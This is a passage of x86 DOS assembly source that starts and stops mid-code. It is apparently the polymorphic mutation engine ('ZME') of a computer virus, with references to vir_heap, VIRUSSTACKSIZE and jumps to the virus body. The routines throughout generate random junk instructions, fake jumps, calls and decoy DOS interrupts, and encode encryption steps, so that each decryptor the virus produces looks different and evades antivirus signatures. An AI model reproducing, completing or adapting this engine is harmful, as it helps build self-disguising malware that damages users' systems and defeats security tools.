;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel shit call RND_GET_THREE_BITS shr al,1 inc ax ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel shit_AX xchg cx,ax DO ;1 to 4 times call RND_GET_BYTE stosb ;add any shit after crypt data CYCLE LU ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel choose_fake_mov ;al=C0(add), C8(or), D0(adc), F0(xor) call RND_GET_BYTE MASKA al, 110xx000 ;al=C0(add), C8(or), D0(adc) cmp al, 0D3h ;no al=D8(sbb) DOIF A sub al, 0D8h-0F0h ;al := F0(xor) DONE ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel choose_wr_and_encode_mov call choose_word_register ; register for call offset xchg cx, ax ;*************************************************************************** pblabel encode_mov ;cl-register; result - 1..4 byte stored call RND_GET_BYTE DOIF C call encode_zero_reg ;reg:=0, CF:=0, possible use 'ADC' STO_BYTE 81h ;store ADD | OR | XOR R,value ;future: ;lea reg,[reg+] ? ; mov protect_reg, al call choose_fake_mov cmp cl, R_AX DOIF E ; transcoding: ; C0 -> 5 ; C8 -> D ; D0 -> 15 ; F0 -> 35 sub al, 0C0h-5 dec di DONE DOELSE mov al, 0B8h ;MOV R,value db B8; DONE or al, cl stosb ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; ********

; zero reg ; add/adc/or/xor reg,mem pblabel encode_reg_mem call garble_more call RND_GET_BYTE PASS C cmp cl, 4 ;cl=4- 87 or 8B mov r,[] DOIF E mov cl, [engdata.reg1] call encode_zero_reg call garble_more call choose_fake_mov cmp al, 0D0h ;adc DOIF E call choose_word_register call encode_zero_reg mov al, 0D0h DONE add al, (80h+80h)+3-0C0h-87h ;3, b, 13, 33 mov cx, ax DONE and al, cl ;cl=2- 87 or 89 mov [],r add al, 87h ;cl=4- 87 or 8B mov r,[] mov ah, [engdata.reg1] shl ah, REG or ah, [engdata.reg0] or ah, 10000100b cmp [engdata.reg0], R_BX DOIF NE and ah, 11111101b DONE mov byte ptr [di], opSEGCS inc di stosw ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_add ;al-value, add reg0, value push ax mov al,[engdata.reg0] add al,0C0h mov ah,al mov al,81h stosw pop ax stosw ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÑÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ* ; ³ ZME ³ ENCODE ONE CRYPT OPERATION ³ ;ÍÏÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ* pblabel encode_one_crypt DO call RND_GET_BYTE and al, 00001110b cmp al, [engdata.lastgarble] CYCLE E pblabel force_choice_crypt_operation mov [engdata.lastgarble], al




xchg ax, bx mov cx, word ptr encrypt_opcode_table[bx] neg bl add bl, sizeof_encrypt_opcode_table-2 mov dx, word ptr encrypt_opcode_table[bx] and cl, not 1 ;clear size data flag and dl, not 1 ;clear size data flag call RND_GET_BYTE and al, ch ; patch it into the top and al, 3 ; this line unnecessary or cl, al ; byte for variable opcodes or dl, al ; byte for variable opcodes and dh, not MASK R_M and ch, not MASK R_M DOIF Z call choose_register mov ah, [engdata.lastchoose] ;lastchoose=1, 2, 3 ³ -1 ³ ax, cx, dx, dec ah ;al=lastchoose(1,2,3)+(0,4)-1= (0,1,2) or (4,5,6) shl ax, REG or ch, al or dh, ah IF CRYPTLEVEL GT 8 ;;;;;;;;IF YOU HAVE ANY TROUBLE - UNCOMMENT THIS; and [engdata.useregs], not MASK REG_ENC ;SET USED 2..3 ;do not reg1 in r/m field if use two register ENDIF test cl, 1 DOIF NZ and dh, 11011011b ;don't use BP, SI, DI DONE DONE call choose_register or ch, al or ch, MASK M0D ;no use memory or dh, [engdata.lastchoose] dec dh or dh, MASK M0D ;no use memory test cl, 1 ;use word DOIF NZ and dh, 11111011b ;don't use BP, SI, DI or dl, 1 DONE cmp al, R_AX mov ax, cx sto_word_ cx DOIF E ;optimize for ax/al test al, 01111110b DOIF Z and al, 1 or al, ah MASKA al, 00xxx10x dec di dec di stosb DONE DONE sub si, 4 mov word ptr [si], dx test cl, 01111110b ;al - high byte of opcode = ch DOIF Z call RND_GET stosw cmp cl, 81h ;16 bit

DOIF NE dec di mov ah, opNOP DONE mov word ptr [si][2], ax DONE mov [engdata.useregs], REG_GARBL_ALL ;*********************************************************************** test [engdata.zmeflags], MASK EN_INT_GARBL jz garble_more ;0 mov ax, 1 jmp garble_more_AX ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel garble_more_reg_all mov [engdata.useregs], REG_ALL ;SET USED all registers ;*************************************************************************** pblabel garble_more call RND_GET_THREE_BITS and al, not 4 ;1 pblabel garble_more_AX push si cx xchg cx, ax inc cx ;garble count = 4..7 DO push cx ; save garble count call garble_once ; garble ***MACRO*** pop cx ; restore garble count CYCLE LU call finish_cJMP ; if so, finish it call many_nonbranch_garble ; garble garble mov bx, [engdata.nJMP_patch] ; check if pending nJMP and bx, bx DOIF NZ STO_BYTE opRETN ; encode a RETN call shit ; after RETN - any shit ! add [bx], di mov bx, [engdata.end_of_jmp] mov [engdata.begin_sub], bx mov word ptr [engdata.nJMP_patch], 0 call many_nonbranch_garble ; garble DONE pop cx si retn ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel many_nonbranch_garble call RND_GET_THREE_BITS ; do large instruction shr ax, 1 inc ax xchg cx, ax DO call not_branch_garble_with_save_cx CYCLE LU retn ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel finish_cJMP ;

DO mov ax, di ; get current location mov bx, [engdata.cJMP_patch] ; get previous location and bx, bx ; in not open cJmp JZ @@retn ; cJMP_patch == 0? i.e. is sub ax, bx ; there an unfinished cJMP? dec ax ; calculate offset EXIT NZ call not_branch_garble ; fill in some instructions CYCLE cmp al, 7Fh ; are we close enough? DOIF A ; if so, finish this now mov al, 0 ; if not, encode cJMP $+2 DONE mov [bx], al ; patch the cJMP destination mov word ptr [engdata.cJMP_patch], 0 ; clear usage flag @@retn: retn ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel do_one_byte call choose_register cmp al, R_AX lea bx, onebyte_table DOIF E ; if possible use AX as garbage lea bx, onebyte_table_ax DONE call RND_GET_THREE_BITS xlat cmp al, 40h GOIN E cmp al, 48h ; DEC or INC ?? DOIF E ; all other onebyte command have opcode great 48h xchg cx, ax call choose_word_register add al, cl DONE stosb retn ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;Í* encode * branch * garbles *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel garble_once call RND_GET jp encode_CALL jb encode_int21 jz encode_cond_jmp jo not_branch_garble js do_one_byte ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ test [engdata.zmeflags], MASK EN_USE_CALL jz garble_once cmp word ptr [engdata.cJMP_patch], 0 ; is there an unfinished jnz finish_cJMP ;* encode jmp near ********************************************************* pblabel encode_jmp_near cmp word ptr [engdata.nJMP_patch], 0 ; is there an unfinished jnz encode_cond_jmp test [engdata.zmeflags], MASK EN_RELOCATOR


jnz encode_jmp_nearE9 ;< jmp looptop & jmp virus (E9) if relocator GOIN NZ call RND_GET_BYTE DOIF NZ sto_byte opJMPN mov [engdata.nJMP_patch], di ; save location to patch xor ax, ax call sto_min_di_2 DOELSE ; encode JMP register call choose_wr_and_encode_mov mov [engdata.nJMP_patch], di ; save location to patch xor ax, ax call setup_reg or ah, cl ;ax= 0E0FFh stosw DONE call shit ; after jmp - any shit ! <<<<<<debug mov [engdata.end_of_jmp], di jmp garble_once ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;* encode a conditional jmp *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_cond_jmp test [engdata.zmeflags], MASK EN_USE_JMPS jz garble_once cmp word ptr [engdata.cJMP_patch], 0 ; is there an unfinished jnz finish_cJMP call RND_GET_BYTE DOIF Z MASKA al, 010000x0 ;encode cmp/test before Jx call force_not_branch_garble DONE pblabel @encode_cond_jmp call RND_GET_BYTE test al, 1010b ; don't encode jo/jno/jpo/jpe jpe @encode_cond_jmp MASKA al, 0111xxxx ; encode a conditional jmp push ax ; opcode 72..79, 7B..7F call choose_word_register cmp al, R_CX pop ax DOIF E ; if possible use CX as garbage MASKA al, 111000xx ; encode a conditional loop/jcxz DONE ; opcode E0..E3 pblabel do_cond_jmp stosb mov [engdata.cJMP_patch], di ; save target offset stosb jmp many_nonbranch_garble retn ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;* encode CALL *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_CALL test [engdata.zmeflags], MASK EN_USE_CALL jz garble_once cmp byte ptr [di-3], opCALL ;<<<debug jz encode_cond_jmp cmp word ptr [engdata.begin_sub], 0 ; is there one pending? jz encode_cond_jmp ; encode cond jmp test [engdata.zmeflags], MASK EN_RELOCATOR GOIN NZ ror al, 1

DOIF C sto_byte opCALL ; call near mov ax, [engdata.begin_sub] ; calculate CALL offset pblabel sto_min_di_2 sub ax, di dec ax dec ax DOELSE ; encode CALL register call choose_wr_and_encode_mov ;al-register, cx-value mov ax, [engdata.begin_sub] call setup_reg ; mov ah, 0D0h ; ax=0xD0FF now or ah, cl ; DONE stosw @@ret: ret ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel not_branch_garble ; DO ; get random INSTRUCTION call RND_GET_BYTE ; mostly do larger instructions normalise and al, 00111110b ; random number is it the same as before? cmp al, [engdata.lastgarble] ; then try again, we don't want two CYCLE E ; of the same sort in a row pblabel force_not_branch_garble mov [engdata.lastgarble], al ; else remember this one and process it ;--------------------------------------------------------------------------add ax, offset garble_table ; xchg si, ax ; mov cx, [si] ; and cl, not 1 ; call RND_GET_BYTE ; and al, ch ; and al, 3 ; or cl, al ; lea bx, [vir_heap._engdata.reg0] ; and ch, not MASK R_M ; clear bottom 3 bits DOIF Z ; if mod = 0 ;- encode two register instruction -- or reg und memory -------------------;----- process M0D --------------------------------------------------------call RND_GET_BYTE ; get random M0D and al, MASK M0D ; or ch, al ; fill in the field rol al, 2 ; mov dl, al ; dl=M0D cmp al, 11b ; use two register ? DOIF B ; if use memory, i.e. [bx+si] and cl, not 1 ; change to byte data "byte sized" DONE ; for not MOV AX,[0FFFFh] ;----- process Reg --------------------------------------------------------call choose_register ; test byte ptr [si], 00000100b DOIF NZ ; can we use any register as 1st ? call RND_GET_THREE_BITS DONE ; yes! any! // for (test/cmp) operation mov [engdata.lastchoose], al shl al, REG ; move register into the reg field ;----- process R/M --------------------------------------------------------push ax DO call RND_GET_BYTE ; get random R/M

and al, MASK R_M ; in memory access, cmp al, [engdata.lastchoose] CYCLE E ;don't "mov ax,ax" etc or ch, al ; cmp al, 110b ; if (R/M = 6) PASS NE ; test ch, MASK M0D ; and MOD = 00 DOIF E ; mov dl, 2 ; need two byte after instruction DONE ; ;--------------------------------------------------------------------------cmp ch, 0C0h DOIF B call RND_GET_BYTE DOIF P MASKA al,0010x110 ; 26, 2E, 36, 3E - segment prefix stosb ;segcs | seges DONE DONE pop ax DOELSE ;- encode one register instruction -------------- ! no memory ! -----------call choose_register ; xor dl, dl ; no data bytes test byte ptr [si], 1 ; DOIF Z ; if shift, not, neg inctruction inc dx ; assume byte test cl, 1 ; byte or word of data? DOIF NZ ; continue if so inc dx ; INC DX is better!!! DONE ; DONE cmp si, offset enc_mov_imm DOIF E test cl, 1 DOIF NE add al, 8 ;word DONE add al, 0B0h mov cl, al jmp less_1 DONE ;--------------------------------------------------------------------------cmp al, R_AX DOIF E test cl, 01111110b DOIF Z and cl, 1 or cl, ch MASKA cl, 00xxx10x jmp less_1 DONE cmp si, offset enc_test DOIF E sub cl, 0F6h-0A8h pblabel less_1 call RND_GET_BYTE mov ch, al dec dx DONE DONE ;- store instruction ------------------------------------------------------DONE ;

or ch, al ; 1st register xchg cx, ax ; stosw ; write the instruction ;- store data bytes after instruction -------------------------------------pblabel store_data_bytes_after_instruction and dl, dl ; needs data bytes? DOIF NZ ; cmp dl, 3 ; check length of instruction DOIF NE ; call RND_GET_BYTE ; stosb ; write the random byte dec dl ; CYCLE NZ ; DONE ; retn ; ;endp ; ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel choose_register call choose_word_register test cl, 1 ; byte or word register? DOIF Z ; if word, we are okay cmp al, R_SP DOIF AE ; is a SI, DI, BP, pop bx DONE and ah, 4 ; change xL to xH or al, ah ; make either byte or word register DONE ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel choose_word_register ; ; 1..3 - crypt registers ; 4..6 - garbage registers ; 0..6 - all registers ; 7654321 ;useregs 01111111b ; ÀÁÁÁÁÁÁ***"1" - possible use reg6..reg0 ; DO pblabel doo mov bl,[engdata.useregs] call RND_GET_THREE_BITS ; get random number clc ; CF=0 xchg cx,ax shr bl,cl xchg cx,ax jnc doo dec ax lea bx, [vir_heap._engdata.reg0] add bx, ax ;ifd cmp byte ptr [bx],-1 ;pub protect_reg equ byte ptr $-1 je doo cmp al,[engdata.lastchoose] je doo mov [engdata.lastchoose],al

mov al,[bx] ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel setup_reg add ax, VIRUSSTACKSIZE ;[engdata.sourceptr] sub ax, [engdata.targetptr] stosw pblabel not_branch_garble_with_save_cx push cx call not_branch_garble pop cx mov ax, 0E0FFh ; encode JMP register ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_push ;bx DO push bx call choose_word_register pop bx cmp al,R_CX CYCLE BE ;te:R_AX or R_CX push ax xchg cx, ax call encode_mov xchg ax, bx pblabel push_any_sux1 stosw pop ax pblabel push_any_sux ;al-register for push add al, opPUSH_AX ;push sux stosb ret jmp many_nonbranch_garble ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_push_addr call choose_word_register push ax xchg cx,ax call encode_mov mov bx,di mov ax, VIRUSSTACKSIZE ;[engdata.sourceptr] sub ax, [engdata.targetptr] jmp push_any_sux1 ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_far_jmp ;cx:dx call RND_GET DOIF P push dx mov bx, cx call encode_push pop bx

call encode_push STO_BYTE opRETF DOELSE STO_BYTE opJMPFAR xchg ax, dx stosw xchg ax, cx stosw DONE jmp shit ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel choose_function call rnd_get_byte ;- choose function and al, 0Fh add ax, offset int21func cmp ax, offset cf_1 xchg si, ax ;- setup CF DOIF B call choose_word_register xchg cx, ax call encode_zero_reg ;encode CF=0 DONE ;comment # ;- setup DX ;- enc mov dx,0..7fff ;- need for deldir, delfile, findfirst cmp si,offset setdx DOIF AE mov cl, R_DX call encode_mov call RND_GET shr ax, 1 stosw DONE ;# test di,ax ;pseudo-random ;- setup reg AH mov al, opMOV_AHimm ;mov ah,xx DOIF P sub cl, cl ;mov cl,R_AX call encode_mov ;mov ax,xxxx call RND_GET_BYTE DONE stosb movsb ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel int_any_reg db 8h, 1ch, 28h, 2Bh db 11h, 12h pblabel with_setup db 16h, 17h ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel cpm

db 18h,1dh,1eh,20h pblabel int21func ;db 10h dup (30h);function return cf=1 or no change cf db 51h, 62h, 30h ;- use as cmp too db 19h,2ah,2ch, 36h,4dh,0dh,23h, 0bh; 54, pblabel cf_1 ;function return cf=1 /--/--/- need setup(DX<>-1) ;46, db 5ch pblabel setdx ;db 5c,5c,5c db 3Dh, 41h,4eh,3Ah ;4Bh, -sux ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;* encode int 21 *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_int21 mov protect_reg, R_AX test [engdata.zmeflags], MASK EN_USE_INT jz unprotect_reg1 cmp [engdata.useregs], REG_ALL jne unprotect_reg1 call RND_GET_BYTE ; jz encode_int DOIF Z ;*ENCODE INTERRUPT********************************************************** pblabel encode_int call RND_GET_THREE_BITS test [engdata.zmeflags], MASK EN_RELOCATOR DOIF Z ;only without relocator call RND_GET_THREE_BITS ; jz encode_cpm DOIF Z ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_cpm call encode_push_addr push bx call many_nonbranch_garble STO_BYTE opPUSH_CS ; encode PUSH CS call many_nonbranch_garble call RND_GET_THREE_BITS ;push sux call push_any_sux ;al-register for push call many_nonbranch_garble mov cl,R_CX ;mov cx,cpmfunc call encode_mov call RND_GET_THREE_BITS add ax, offset cpm xchg si, ax movsb call RND_GET stosb call RND_GET_THREE_BITS mov cx, ax mov al, 0Ch sub al, cl shl al, 4 xchg dx, ax call 